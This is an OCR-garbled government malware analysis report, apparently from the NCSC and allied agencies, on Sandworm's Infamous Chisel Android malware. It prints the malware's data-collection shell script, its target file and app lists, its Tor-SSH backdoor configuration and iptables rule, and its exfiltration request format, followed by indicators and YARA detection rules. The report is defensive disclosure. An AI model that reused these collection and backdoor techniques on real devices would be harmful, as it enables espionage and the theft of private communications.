c 1tre cl C S tmte le-- om1 1r rr rior 3 l% m -n mic 'l oris Se - vri r 111s 11N •11 t P S Can di n Cem ra for C- Mr Secu -it Co -- tre anad on iJi' cyb rsk r -- t Australian Go 'crnmcnt Australian Si nals l irectorate National Cyber Security Centre PART OF rH GCSB Infamous Chisel Malware Analysis Report 31 August 2023 © Crown Copyright 2023 Infamous Chisel A collection of components associated with Sandworm designed to enable remote access and exfiltrate information from Android phones Executive summary • • • • • • Infamous Chisel is a collection of components targeting Android devices This malware is associated with Sandworm activity It performs periodic scanning of files and network information for exfiltration System and application configuration files are exfiltrated from an infected device Infamous Chisel provides network backdoor access via a Tor The Onion Router hidden service and Secure Shell SSH Other capabilities include network monitoring traffic collection SSH access network scanning and SCP file transfer Overview The UK National Cyber Security Centre NCSC the US National Security Agency NSA US Cybersecurity and Infrastructure Security Agency CISA US Federal Bureau of Investigation FBI New Zealand’s National Cyber Security Centre NCSC-NZ the Canadian Centre for Cyber Security – part of the Communications Security Establishment CSE and Australian Signals Directorate ASD are aware that the actor known as Sandworm has used a new mobile malware in a campaign targeting Android devices used by the Ukrainian military The malware is referred to here as Infamous Chisel Organisations from the United Kingdom United States Australia Canada and New Zealand have previously linked the Sandworm actor to the Russian GRU's Main Centre for Special Technologies GTsST Malware summary Infamous Chisel is a collection of components which enable persistent access to an infected Android device over the Tor network and which periodically collates and exfiltrates victim information from compromised devices The information exfiltrated is a combination of system device information commercial application information and applications specific to the Ukrainian military The malware periodically scans the device for information and files of interest matching a predefined set of file extensions It also contains functionality to periodically scan the local network collating information about active hosts open ports and banners Infamous Chisel also provides remote access by configuring and executing Tor with a hidden service which forwards to a modified Dropbear binary providing a SSH connection Other capability includes network monitoring and traffic collection SSH access network scanning and SCP file transfer Malware details Metadata Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 killer Infamous Chisel - Process manipulation for netd ELF 32-bit ARM 30160 bytes 512eb94ee86e8d5b27ec66af98a2a8c4 ad6eb2a7096b0e29cd93b8b1f60052fed7632ab9 5866e1fa5e262ade874c4b869d57870a88e6a8f9d5b9c61bd5d6a323e763e021 blob Infamous Chisel - Decompressor and launcher for Tor process ELF 32-bit ARM 2131691 bytes 2cfa1f3e0467b8664cbf3a6d412916d6 b681a2b64d150a4b16f64455913fbacd97d9b490 2d19e015412ef8f8f7932b1ad18a5992d802b5ac62e59344f3aea2e00e0804ad ndbr_armv7l Infamous Chisel - Multi-call binary with many utilities dropbear dropbearkey ssh scp nmap dbclient watchdog rmflag mkflag ELF 32-bit ARM 328296 bytes 0905e83411c0418ce0a8d3ae54ad89a6 917db380b22fad02e7f21f11d1b4e8a5ad47c61c 5c5323bd17fd857a0e77be4e637841dad5c4367a72ac0a64cc054f78f530ba37 ndbr_i686 Infamous Chisel - Multi-call binary with many utilities dropbear dropbearkey ssh scp nmap dbclient watchdog rmflag mkflag ELF 32-bit Intel 80386 450340 bytes 7e548ef96d76d2f862d6930dcc67ef82 7d11aefc26823712ad8de37489f920fae679b845 3cf2de421c64f57c173400b2c50bbd9e59c58b778eba2eb56482f0c54636dd29 db Infamous Chisel - Multi-call binary with many utilities dropbear dropbearkey ssh scp nmap dbclient watchdog rmflag mkflag ELF 32-bit ARM 5593884 bytes 04d0606d90bba826e8a609b3dc955d4d ffaeba9a9fb4260b981fb10d79dbb52ba291fc94 338f8b447c95ba1c3d8d730016f0847585a7840c0a71d5054eb51cc612f13853 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 Filename Description Size MD5 SHA-1 SHA-256 db bz2 Bzip compressed data containing the Infamous Chisel Multi-Call binary db 5593884 bytes c4b5c8bdf95fe636a6e9ebba0a60c483 cdad1bee2e88581b7fa7af5698293435667d2550 ef466e714d5250e934e681bda6ebdecd314670bb141f12a1b02c9afddbd93428 td Standard Tor P2P network application – likely actor compiled ELF 32-bit ARM 5265772 bytes 1f2c118b29e48cc5a5df46cddd399334 f6368ae2eec8cf46a7e88559f27dbbe4e7c02380 33a2be6638be67ba9117e0ac7bad26b12adbcdf6f8556c4dc2ff3033a8cdf14f td bz2 Bzip compressed data containing the standard Tor P2P network application td 1840669 bytes 452b6c35f44f55604386849f9e671cc0 2df1e320851b26947ab1ea07eaccbd4d3762c68e 001208a304258c23a0b3794abd8a5a21210dfeaf106195f995a6f55d75ef89cd tcpdump Standard Tcpdump utility – likely actor compiled ELF 32-bit ARM 759528 bytes 4bdf7f719651d9a762d90e9f33f6bb01 500b953d63a0dbdc76dc3f51c32e3acab92f3ddc 140accb18ba9569b43b92da244929bc009c890916dd703794daf83034e349359 MITRE ATT CK® This report has been compiled with respect to the MITRE ATT CK® framework a globally accessible knowledge base of adversary tactics and techniques based on real-world observations Tactic ID Technique Procedure Execution T1569 System Services Infamous Chisel - netd replaces the legitimate netd Persistence T1398 Mobile Boot or Logon Initialization Scripts Infamous Chisel - netd replaces the legitimate netd T1625 Mobile Hijack Execution Flow Infamous Chisel - netd replaces the legitimate netd and is executed by init inheriting root privileges Privilege Escalation T1626 Mobile Abuse Elevation Control Mechanism Infamous Chisel - netd executes shell scripts as the root user of the device Defence Evasion T1629 Mobile Impair Defenses Infamous Chisel - netd checks that it is executed by init and at the path for the legitimate netd T1406 Mobile Obfuscated Files or Information Infamous Chisel - blob decompresses executables from bzip archives T1557 Adversary-in-theMiddle Infamous Chisel - mDNSResponder is deployed alongside this malware and could potentially be used for DNS poisoning T1634 Mobile Credentials from Password Store Infamous Chisel - netd scrapes multiple files containing credentials and key information T1040 Network Sniffing Infamous Chisel - tcpdump is deployed alongside this malware and has the ability to sniff network interfaces and monitor network traffic T1420 Mobile File and Directory Discovery Infamous Chisel - netd enumerates multiple data directories to discover files of interest T1430 Mobile Location Tracking Infamous Chisel - netd collects GPS information T1418 Mobile Software Discovery Infamous Chisel - netd collects a list of installed packages T1426 Mobile System Information Discovery Infamous Chisel - netd collects various system information such as the Android ID and other hardware information T1422 Mobile System Network Configuration Discovery Infamous Chisel - netd collects IP interface configuration information T1421 Mobile System Network Connections Discovery Infamous Chisel - netd performs IP scanning of the local network to discover other devices T1533 Mobile Data from Local System Infamous Chisel - netd automatically collects files from the local system based on a predefined list of file extensions Credential Access Discovery Collection Tactic Command and Control Exfiltration Impact ID Technique Procedure T1074 001 Data Staged Local Data Staging Infamous Chisel - netd creates multiple temporary files in the system to hold collected information T1114 001 Email Collection Local Email Collection Infamous Chisel - netd exfiltrates files from application and data directories containing communication data T1437 Mobile Application Layer Protocol Infamous Chisel - db provides SCP functionality T1521 Mobile Encrypted Channel Infamous Chisel - td is deployed alongside this malware providing a Tor hidden service relaying connections to SSH program T1572 Protocol Tunnelling Infamous Chisel - td is deployed alongside this malware providing a local Socks connection for db T1219 Remote Access Software Infamous Chisel - db provides a SSH server and client T1020 Automated Exfiltration Infamous Chisel - netd automatically exfiltrates files at regular intervals T1029 Scheduled Transfer Infamous Chisel - netd automatically exfiltrates files at regular intervals T1489 Service Stop Infamous Chisel - netd replaces the legitimate netd Functionality Overview Infamous Chisel is a collection of multiple components For netd killer blob and td functionality can be extrapolated from references between them The function of other binaries changes depending on the command line parameters that are supplied It is likely that interaction takes place over the SSH remote shell connection configured by netd Overview of the components Filename Description netd This component is used to perform automated device information collection and exfiltration killer This component kills the malicious netd process blob This component is executed by netd and is responsible for configuring and executing the Tor utility td td This utility is Tor with no obvious modifications tcpdump This utility is tcpdump with no obvious modifications ndbr_armv7l ndbr_i686 These utilities are multi-call containing dropbear dropbearkey ssh scp nmap dbclient watchdog rmflag mkflag dropbear has been modified as described in the section ‘Multi-call binaries Dropbear function modifications ’ ARM and x86 variants db This utility is multi-call containing dropbear dropbearkey ssh scp nmap dbclient watchdog rmflag mkflag dropbear has been modified as described in the section ‘Multi-call binaries Dropbear function modifications ’ Persistence netd is designed to persist on the system by replacing the legitimate netd system binary at the path system bin netd This replacement is not carried out by the malware but it can be extrapolated from the checks that it carries out This is the only Infamous Chisel component which persists When the malicious netd is executed it will check if init is the parent process which executed it This parent process is responsible for creating the processes listed in the script init rc The malicious replacement netd when executed in this way will fork and execute the legitimate process backed up at the path system bin netd_ passing through the command line parameters This retains the normal functionality of netd while allowing the malicious netd to execute as root This replacement would require an escalated privilege level to perform If it doesn’t find itself at the system bin netd path it will fork and set its parent process ID to 1 also attempting to kill the legitimate netd process Components netd The netd component of Infamous Chisel provides the bulk of the custom functionality which the actor deploys The main purpose of netd is to collate and exfiltrate information from the compromised device at set intervals It uses a combination of shell scripts and commands to collect device information It also searches multiple directories to which files matching a predefined set of extensions are exfiltrated Exfiltration logic All file exfiltration is performed as detailed in the ‘Communications File exfiltration ’ section of this report Whenever a file is selected for exfiltration it is MD5-hashed and cross-referenced with a list of previously sent file hashes held in a file at one of three locations supporting different Android versions The first existing directory path will be used • • • sdcard Android data google index storage emulated 0 Android data google index storage emulated 1 Android data google index The file exfiltration is considered complete when the server sends Success anywhere in its response As this exfiltration uses a Hypertext Transfer Protocol HTTP POST this server response is also expected to be HTTP but this is not explicitly checked for The 16 raw bytes of the MD5 are appended to the end of the google index file ensuring that the same file isn’t sent multiple times As the google index file contains raw bytes without prior knowledge it would appear to contain random data The initial allocation size is 256 Kb filled with NULLs providing space for up to a maximum of 16 384 file hashes All hash entries will be checked for every file prior to exfiltration When the end of the google index file is reached the position is reset to the start overwriting the previous hashes This means if the number of files to exfiltrate from the device exceeds 16 384 files will be sent multiple times Information gathering On execution the Infamous Chisel netd component enters a main loop that executes indefinitely where various timers trigger the execution of different tasks All timer actions are executed immediately on first execution and then at the specific intervals File and device information exfiltration Every 86 000 seconds 23 hours 53 minutes and 20 seconds the following actions are performed 1 File exfiltration from data directories The following directories are recursively searched for files matching the extensions listed When a file is found by this search it is exfiltrated as detailed in the ‘Communications File exfiltration ’ section of this report File extension list copied verbatim from the binary dat bak xml txt ovpn xml wa db msgstore db pdf xlsx csv zip tel ephony db png jpg jpeg kme database hik database hikjournal ezvizlog db cache4 db contacts2 db ocx gz rar tar 7zip zip kmz locksettings db mmssms db telephony db signal db mmssms db profile d b accounts db PyroMsg DB exe kml Directory list • • • • • • • sdcard storage emulated 0 data media data data de blinkt openvpn data data org thoughtcrime securesms data data net openvpn openvpn data data org telegram messenger • • • • • • data data vpn fastvpn freevpn data data eu thedarken wldonate data data com android providers contacts data data com android providers telephony data data com google android gm data system users 0 Along with other military specific application directories 2 Information collection script An information collection script collates various hardware configuration information about the device The script is written to the location data local tmp android cache sh and then executed by netd using the command system bin sh -c data local tmp android cache sh android cache sh contains the following shell script # system bin sh system bin settings get secure android_id data local tmp aid cache system bin ip a data local tmp syscache csv system bin pm list packages data local tmp syspackages csv system bin getprop data local tmp sysinfo csv Command Description Output filename settings get secure android_id Returns a hexadecimal string identifying the device uniquely aid cache ip a Lists networking information such as IP address subnet and interface type on a per network interface basis syscache csv pm list packages List of installed applications on the device syspackages csv getprop Lists various device hardware information such as GPS battery manufacturer and language sysinfo csv All the information is written to the various files in the data local directory and exfiltrated with the exception of the aid cache file The android_id contained within this file is used to form part of the Uniform Resource Identifier URI detailed in the ‘Communications’ section of this report 3 File exfiltration from application directories The data directory is searched for the application directories • • • • • • • • • • com google android apps authenticator2 net openvpn openvpn free vpn unblock proxy vpnmaster com UCMobile intl com brave browser com opera browser com hisense odinbrowser com dzura com google android apps docs com sec android app myfiles • • • • • • • • • • • • • • • • • • • • • • • • • com microsoft skydrive com google android apps walletnfcrel com paypal android p2pmobile com binance dev com coinbase android com wallet crypto trustapp com viber voip com dropbox android com android providers telephony com android providers contacts com cxinventor file explorer com elinke fileserver org mozilla firefox com whatsapp org thoughtcrime securesms org telegram messenger org telegram messenger web com discord com hikvisionsystems app com hikvision hikconnect com skype raider com google android gm com android chrome org chromium webview_shell keystore Along with some military application specific directories Every file in these directories regardless of type is exfiltrated 4 Specific file exfiltration The following files at the absolute paths are exfiltrated • • • • data local tmp syscache csv data local tmp syspackages csv data local tmp sysinfo csv data system users 0 settings_ssaid xml Along with some military application specific directories The files with the extension csv are generated by the malware The others are application specific files or system configuration information Exfiltration of configuration and configuration backup files Every 600 seconds 10 minutes the following directories are searched for files of type json or json bak which are then immediately exfiltrated • • • • • • • • • • • • • sdcard storage emulated 0 data media data data de blinkt openvpn data data org thoughtcrime securesms data data net openvpn openvpn data data org telegram messenger data data vpn fastvpn freevpn data data eu thedarken wldonate data data com android providers contacts data data com android providers telephony data data com google android gm data system users 0 Along with some military application specific directories Local area network scanning Every 172 000 seconds 1 day 23 hours 46 minutes and 20 seconds the local area network is scanned netd has a built-in network scanner that is executed by the command line netd minmap -i any -noping -o data local tmp ndata tmp The ping scanner is fairly simplistic and will iterate over the available host IP addresses in the subnet specified by the interface on all available Transmission Control Protocol TCP ports Internet Control Message Protocol ICMP scanning is disabled due to the noping command line parameter specified The scanner also includes a HTTP GET request to elicit responses from ports running a HTTP server The responses from other ports are also logged Note This information would facilitate lateral movement within the network and illustrates a clear intention to interact with other nearby hosts On completion of this scan the ndata tmp file is moved to the filename ndata csv in the same directory This file is exfiltrated immediately and both files removed from the tmp directory The contents of this file will appear similar to INTERFACE eth0 SOURCE 192 168 0 2 IP begin 192 168 0 0 IP end 192 168 0 255 PORTS PING off SCAN tcp start scan Host 192 168 0 0 Host 192 168 0 1 tcp - 135 tcp - 139 tcp - 443 tcp - 445 Host 192 168 0 2 Host 192 168 0 3 Host 192 168 0 4 Remaining hosts omitted for brevity The following command line parameters are present but only a small portion is used -ip -p -o -i -noping -udp -n -s -t -c -h --help Command line help is also included Usage minmap -ip ip-addr 192 168 0 1 ip-range 192 168 0 0 24 -p port 80 port-range 22 25-125 top -udp default tcp -noping default yes -o out_file -t timeout -n -c try_count -s source ip -i interface any -h --help print this help td The td utility provides Tor directory services and is compiled for ARM with no obvious modifications The configuration for this is generated by the blob component used for Tor management described in the ‘Components blob ’ section and saved at the path data local prx cfg This file contains SocksPort 127 0 0 1 1129 PreferSOCKSNoAuth%sExitPolicy reject DataDirectory data local prx RunAsDaemon 1 HiddenServiceDir data local prx hs HiddenServicePort 34371 127 0 0 1 34371 This configuration provides a Socket Secure version 4 SOCKS4 connection on the local port 1129 enabling the Tor network to be used The blob component uses this for network connectivity checks The hidden service port is set to 34371 with the directory for hidden service information being set to data local prx hs During the execution of td an onion domain for a hidden service is randomly generated at the path data local prx hs hostname which is then exfiltrated by netd The db component performs further configuration detailed in the ‘Multi-call binaries Watchdog ’ section of this report to enable a SSH connection via this onion domain This gives the actor the ability to create an SSH session by connecting to the hidden service across Tor blob The blob component is responsible for configuring Tor services and checking network connectivity Every 15 seconds the tmp directory is checked for the blob utility and if found it is moved to the data local directory from the data local tmp blob directory overwriting any existing version Every 6 000 seconds 1 hour and 40 minutes blob is then run from the data local directory netd executes blob which is responsible for configuring and executing Tor services provided by td When run it performs the following actions 1 Checks local host for the port 1129 being open exiting if it is 2 Checks for the existence of data local td If this is not present extracts it from data local td bz2 bzip2 compressed data 3 Creates the configuration file at the path data local prx cfg The contents of which are detailed in the ‘Components td ’ section above 4 td is executed with this configuration file being supplied with the -f command line parameter data local td -f data local prx cfg 5 db the modified Dropbear SSH utility is checked for at the path data local db If this file is not present it is extracted from data local db bz2 db is then executed immediately after with no command line parameters being passed 6 blob then enters a loop where it performs a network connectivity check against the domain www geodatatool com connecting on the local SOCKS4 address provided by the td utility 127 0 0 1 1129 every 3 minutes 7 It checks the second byte of the response from this domain to be the character Z 0x5a to validate a legitimate response has been received from the server Nothing further is done with the data this is simply an internet connection check 8 If this request fails or the server doesn’t return the expected data blob terminates the execution of td tcpdump The tcpdump utility version 4 1 1 is compiled for ARM with no obvious modifications This provides traffic capturing and monitoring functionality via the command line Multi-call binaries db NDBR_armv7l and NDBR_i686 The db utility contains multiple individual utilities which are selected based on the command line parameters supplied Utility Actor Modified Description dropbear No Yes Dropbear SSH client with modified authentication functions as described in ‘Components Multi-call binaries db NDBR_armv7l and NDBR_i686 ’ dropbearkey No No Generates SSH keys nmap Yes No Network scanning and mapping utility which appears to be actor developed as opposed to the open source Nmap project scp No No File-copying utility watchdog Yes N A Creates directories flag file and sets up the IP Tables rules rmflag Yes N A Removes the flag file mkflag Yes N A Creates directories The command line help for dropbear dropbearkey nmap and scp can be found in the ‘Appendix’ section of this report dropbear present within db provides secure shell access to the device via the Tor hidden service IP Tables rules configured allow incoming TCP connections destined for port 34371 through the firewall The Tor utility executed by blob on the device is configured to provide a hidden service on this port then forward connections to the local dropbear instance The onion address has already been exfiltrated enabling the actor to connect to it Modifications have been made to dropbear authentication mechanisms The scp utility does not appear to have been modified The nmap utility has the same functionality as the version in netd but is executed manually by actor interaction The watchdog rmflag and mkflag utilities appear to be additional actor-created code that has been incorporated to perform some configuration for dropbear The directory sessions log d is created under data local tmp and puts all standard Dropbear files under this directory alongside the custom actor file remove_file flag Watchdog The watchdog utility performs setup and executes dropbear This setup includes File and directory creation • • • data local tmp sessions log d data local tmp sessions log d ssh data local tmp sessions log d ssh remove_file flag The remove_file flag file is created containing the string run when any of the multi-call utilities run Dropbear This will be collected and exfiltrated by netd giving the actor an indicator that the SSH server is active Authorized hosts setup A host key is placed into the directory data local tmp sessions log d ssh authorized_keys IP Tables Rules usr sbin iptables is executed with the parameters -A INPUT -p tcp --dport 34371 -j ACCEPT -I mkflag The mkflag utility creates the directories and files that watchdog creates but does not perform any host file or IP table manipulation and then runs dropbear rmflag The rmflag utility deletes data local tmp sessions log d ssh remove_file flag Modified Dropbear functions The actor has modified authentication mechanisms in Dropbear fill_passwd The Dropbear function fill_passwd is used to verify that a supplied username is a valid account and return information required to process authentication The unmodified source code for this can be found in the ‘Appendix Dropbear fill_passwd function ’ section of this report This function calls multiple Linux library functions getpwnam getspnam getpwuid but in the modified version actor replacement functions are called instead each of these are discussed below getpwnam getpwnam Linux library function accepts a username and cross-references it with the passwd file usually stored at etc passwd for the corresponding entry containing the colon concatenated fields • • • • • • • username user password user ID group ID user information home directory shell program On most modern systems an x in the user password field is used to denote that the password hash is stored in the etc shadow file that requires root privileges to read On an Android device there are typically no such files so the structure that would usually be retrieved from the passwd file is generated instead The actor has replaced this function with their own where if a particular username is seen it returns a hard-coded response If the expected username is not seen the etc passwd file is checked for the corresponding username as normal getpwuid getpwuid Linux library accepts a uid and returns the corresponding structure above typically from the etc passwd file The actor has replaced this function to check for the uid of 0xbeef and return the hard-coded structure detailed above if found If 0xbeef is not seen it will revert to checking etc passwd getspnam getspnam Linux library function accepts a username and cross-references it with the shadow file usually stored at etc shadow for the corresponding entry that contains the dollar concatenated fields • • • id salt hash Typically on an Android device this function would return NULL but the actor replacement function uses the Linux version There does not appear to be any modifications other than those detailed above but there may be other patches implemented NDBR The NDBR_armv7l and NDBR_i686 utilities contain multiple individual utilities compiled for ARM and x86 respectively They both include the above authentication mechanism modification although with different credentials and otherwise appear to be the same These utilities also have some functionality overlap with the VPNFilter malware but appear to be an evolution 1 killer killer is a simple program the main purpose of which is to terminate netd It achieves this by performing the following steps 1 2 3 4 Iterates through all Process Identifiers PIDs in the range 2 through to 0x3FFFFF Checks the first line of proc pid status for the string netd Checks the target of the link referenced at proc pid exe against netd Checks the executable name is not netd_ The legitimate backup executed by the malicious netd 5 Terminates the malicious netd leaving the legitimate netd_ running 1 https blog talosintelligence com vpnfilter-part-3 Communications netd file exfiltration When a file is to be exfiltrated a Transport Layer Security TLS connection is initiated to a hardcoded local IP and port Note This local IP address is likely a local port forward to relay the network traffic over a secure channel such as a Virtual Private Network VPN configured on the device VPN services are often configured in this way giving the actor a means to exfiltrate information from the network which blends in with expected encrypted network traffic If a connection to the local IP and port fails a hard-coded domain is used as a fallback connection The IP address for this domain is resolved using a request to dns google POST dns-query HTTP 1 1 Host dns google User-Agent Mozilla 5 0 Windows NT 6 1 Win64 x64 rv 47 0 Gecko 20100101 Firefox 47 0 Accept application dns-message Content-Type application dns-message Content-Length Note The hard-coded user agent that relates to a Microsoft Windows operating system would raise suspicion originating from an Android device But since all the communications are under TLS it would make inspecting the HTTP headers difficult The following HTTP Post request is used to exfiltrate data Data structure POST server php ver 16 bid %s type %d HTTP 1 1 User-Agent curl 7 47 Host Path %s Content-Type application octet-stream Content-Length %d Raw File Android ID Type 0 or 1 Base64 encoded file path Content Length of the encoded File contents file to be exfiltrated • The Android ID is generated by the initial script run using the command settings get secure android_id • Type denotes the exfiltration type o 0 is used for the file searches triage script and configurations files o 1 is used for other information such as the Tor domain Conclusion The Infamous Chisel components are low to medium sophistication and appear to have been developed with little regard to defence evasion or concealment of malicious activity The searching of specific files and directory paths that relate to military applications and exfiltration of this data reinforces the intention to gain access to these networks Although the components lack basic obfuscation or stealth techniques to disguise activity the actor may have deemed this not necessary since many Android devices do not have a host-based detection system Two interesting techniques are present in Infamous Chisel • • the replacement of the legitimate netd executable to maintain persistence the modification of the authentication function in the components that include dropbear These techniques require a good level of C knowledge to make the alterations and an awareness of Linux authentication and boot mechanisms Even with the lack of concealment functions these components present a serious threat because of the impact of the information they can collect Detection Indicators of compromise Type Description Values netd POST Request C2 communication POST server php ver 16 bid %s type %d HTTP 1 1 r n User-Agent curl 7 47 r n netd Paths Relocated legitimate netd system bin netd_ IP address information data local tmp syscache csv Application list data local tmp syspackages csv Getprop output data local tmp sysinfo csv Android ID data local tmp aid cache Triage shell script data local tmp android cache sh Exfiltrated file hash list location sdcard Android data google index storage emulated 0 Android data google index storage emulated 1 Android data google index netd_ Process Listing Name Renamed legitimate netd netd_ td Paths Binary path data local td Configuration file path data local prx cfg Configuration file directory data local prx Tor generated files data local prx cached-certs data local prx cached-microdesc-consensus data local prx cached-microdescs data local prx cached-microdescs new data local prx lock data local prx state Configuration file directory data local prx hs Hidden service path data local prx hs hostname Public key data local prx hs hs_ed25519_public_key Private key data local prx hs hs_ed25519_secret_key Compressed installer file td bz2 Binary path data local blob blob Paths Type Description Values blob Process Listing Name Process list entry blob killer Paths Binary path data local killer db Paths Binary path data local db db Process Listing Name Process list entry db NDBR_a rmv7l Paths Binary path data local NDBR_armv7l NDBR_a rmv7l Process Listing Name Process list entry NDBR_armv7l NDBR_i 686 Paths Binary path data local NDBR_i686 NDBR_i 686 Process Listing Name Process list entry NDBR_i686 Indicators of compromise suspicious in the context of an Android device Type Description Values td Process Listing Name Process list entry td td Local Port Port open socks 127 0 0 1 1129 td Local Port Port open hidden service 127 0 0 1 34371 tcpdum p Paths Binary path data local tcpdump Type Description Values tcpdum p Process Listing Name Process list entry tcpdump blob Domain Domain communication www geodatatool com db IP Tables IP tables Port 34371 Present Rules and signatures Description Unique paths created by netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_CreatedFiles meta author NCSC description Unique file paths created by netd date 2023-08-31 strings $ data local tmp aid cache $ data local tmp syscache csv $ data local tmp syspackages csv $ data local tmp sysinfo csv $ data local tmp ndata csv $ data local tmp ndata tmp $ data local tmp android cache sh condition uint32 0 0x464C457F and any of them Description Application directories strings searched by netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_ScrapedApps meta author NCSC description Application directories strings searched by netd date 2023-08-31 strings $ data data com android providers contacts $ data data com android providers telephony $ data data com google android gm $ data data de blinkt openvpn $ data data eu thedarken wldonate $ data data net openvpn openvpn $ data data org telegram messenger $ data data org thoughtcrime securesms condition uint32 0 0x464C457F and all of them Description POST request strings present in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_Uri meta author NCSC description POST request strings present in netd date 2023-08-31 strings $ POST server php ver 16 bid %s type %d $ User-Agent curl 7 47 condition uint32 0 0x464C457F and all of them Description db and td path strings found in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_Paths meta author NCSC description db and td path strings found in netd date 2023-08-31 strings $ data local db $ data local prx cfg $ data local td condition uint32 0 0x464C457F and all of them Description File extension list string found in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_FileExtensionString meta author NCSC description File extension list string found in netd date 2023-08-31 strings $ dat bak xml txt ovpn xml wa db msgstore db pdf xlsx csv zip te lephony db png jpg jpeg kme database hik database hikjournal ezvizlog db cache4 db contacts2 db docx gz rar tar 7zip zip kmz locksettings db mmssms db telephony db signal db mmssms db profile db accounts db PyroMsg DB exe kml condition uint32 0 0x464C457F and any of them Description blob path string found in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_Blob meta author NCSC description blob path string found in netd date 2023-08-31 strings $ data local tmp blob condition uint32 0 0x464C457F and any of them Description Tor hostname path string found in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_TorDomainPath meta author NCSC description Tor hostname path string found in netd date 2023-08-31 strings $ data local prx hs hostname condition uint32 0 0x464C457F and any of them Description Shell script commands found in netd Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_TriageCommands meta author NCSC description Shell script commands found in netd date 2023-08-31 strings $ settings get secure android_id $ pm list packages $ getprop condition uint32 0 0x464C457F and all of them Description netd wait loop Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_waitloop meta author NCSC description netd wait loop date 2023-08-31 strings $ 38 23 F9 18 01 23 5B 42 01 22 18 00 0F 20 condition uint32 0 0x464C457F and any of them Description netd pid for loop Precision High Confidence – no hits in VirusTotal Rule type YARA rule netd_pidloop meta author NCSC description netd pid for loop date 2023-08-31 strings $ 1B 68 8A 4A 93 42 C0 46 condition uint32 0 0x464C457F and any of them Description Tor configuration file strings in blob Precision High Confidence – no hits in VirusTotal Rule type YARA rule blob_TorCommandLine meta author NCSC description Tor configuration file strings in blob date 2023-08-31 hash1 b681a2b64d150a4b16f64455913fbacd97d9b490 strings $ SocksPort 127 0 0 1 1129 $ DataDirectory data local prx $ data local prx hs $ HiddenServicePort 34371 127 0 0 1 34371 condition uint32 0 0x464C457F and 2 of them Description blob wait on event loop Precision High Confidence – no hits in VirusTotal Rule type YARA rule blob_waitloop meta author NCSC description blob wait on event loop date 2023-08-31 hash1 b681a2b64d150a4b16f64455913fbacd97d9b490 strings $ 0C 23 F9 18 01 23 5B 42 01 22 18 00 03 1E condition uint32 0 0x464C457F and any of them Description killer binary strings Precision High Confidence – no hits in VirusTotal Rule type YARA rule killer_Strings meta author NCSC description killer binary strings date 2023-08-31 hash1 ad6eb2a7096b0e29cd93b8b1f60052fed7632ab9 strings $ netd_ $ proc %d exe $ proc %d status condition uint32 0 0x464C457F and uint8 4 0x1 and uint16 18 0x0028 and all of them Description db Android path strings Precision High Confidence – no hits in VirusTotal Rule type YARA rule db_androidpaths meta author NCSC description db Android path strings date 2023-08-31 hash1 ffaeba9a9fb4260b981fb10d79dbb52ba291fc94 strings $ data local tmp sessions log d ssh remove_file flag $ data local tmp sessions log d $ data local tmp sessions log d ssh $ data local tmp sessions log d ssh authorized_keys $ data local tmp sessions log d ssh know_host $ data local tmp sessions log d dropbear_rsa_host_key $ data local tmp sessions log d dropbear_dss_host_key $ data local tmp sessions log d dropbear_ecdsa_host_key $ data local tmp sessions log d session key $ data local tmp sessions log d bash_history $ data local tmp sessions log d dropbear_ed25519_host_key $ data local tmp sessions log d $ data local tmp sessions log d condition uint32 0 0x464C457F and uint8 4 0x1 and uint16 18 0x0028 and all of them Description ndbr scan strings Precision High Confidence – no hits in VirusTotal Rule type YARA rule ndbr_ScanStrings meta author NCSC description ndbr scan strings date 2023-08-31 hash1 917db380b22fad02e7f21f11d1b4e8a5ad47c61c hash2 7d11aefc26823712ad8de37489f920fae679b845 strings $ INTERFACE %s $ SOURCE %s $ IP begin %s $ IP end %s $ PORT top $ PORT begin %hu $ PORT end %hu $ PING %s $ SCAN %s $ start scan $ Host %s condition uint32 0 0x464C457F and uint8 4 0x1 and uint16 18 0x0028 and all of them Appendix Dropbear unmodified fill_passwd function void fill_passwd const char username struct passwd pw NULL if ses authstate pw_name m_free ses authstate pw_name if ses authstate pw_dir m_free ses authstate pw_dir if ses authstate pw_shell m_free ses authstate pw_shell if ses authstate pw_passwd m_free ses authstate pw_passwd pw getpwnam username if pw return ses authstate pw_uid pw- pw_uid ses authstate pw_gid pw- pw_gid ses authstate pw_name m_strdup pw- pw_name ses authstate pw_dir m_strdup pw- pw_dir ses authstate pw_shell m_strdup pw- pw_shell char passwd_crypt pw- pw_passwd #ifdef HAVE_SHADOW_H get the shadow password if possible struct spwd spasswd getspnam ses authstate pw_name if spasswd spasswd- sp_pwdp passwd_crypt spasswd- sp_pwdp #endif if passwd_crypt android supposedly returns NULL passwd_crypt ses authstate pw_passwd m_strdup passwd_crypt Dropbear unmodified login_init_entry function login_init_entry struct logininfo int char char char - initialise a struct logininfo Populates a new struct logininfo a data structure meant to carry the information required to portably record login info Returns 1 int login_init_entry struct logininfo li int pid const char username const char hostname const char line struct passwd pw memset li 0 sizeof li li- pid pid set the line information if line line_fullname li- line line sizeof li- line if username strlcpy li- username username sizeof li- username pw getpwnam li- username if pw NULL dropbear_exit login_init_entry Cannot find user %s li- username li- uid pw- pw_uid if hostname strlcpy li- hostname hostname sizeof li- hostname return 1 Dropbear unmodified sessionpty function Set up a session pty which will be used to execute the shell or program The pty is allocated now and kept for when the shell program executes Returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE static int sessionpty struct ChanSess chansess unsigned int termlen char namebuf 65 struct passwd pw NULL TRACE enter sessionpty if svr_pubkey_allows_pty TRACE leave sessionpty pty forbidden by public key option return DROPBEAR_FAILURE chansess- term buf_getstring ses payload termlen if termlen MAX_TERM_LEN TODO send disconnect TRACE leave sessionpty term len too long return DROPBEAR_FAILURE allocate the pty if chansess- master -1 dropbear_exit Multiple pty requests if pty_allocate chansess- master chansess- slave namebuf 64 0 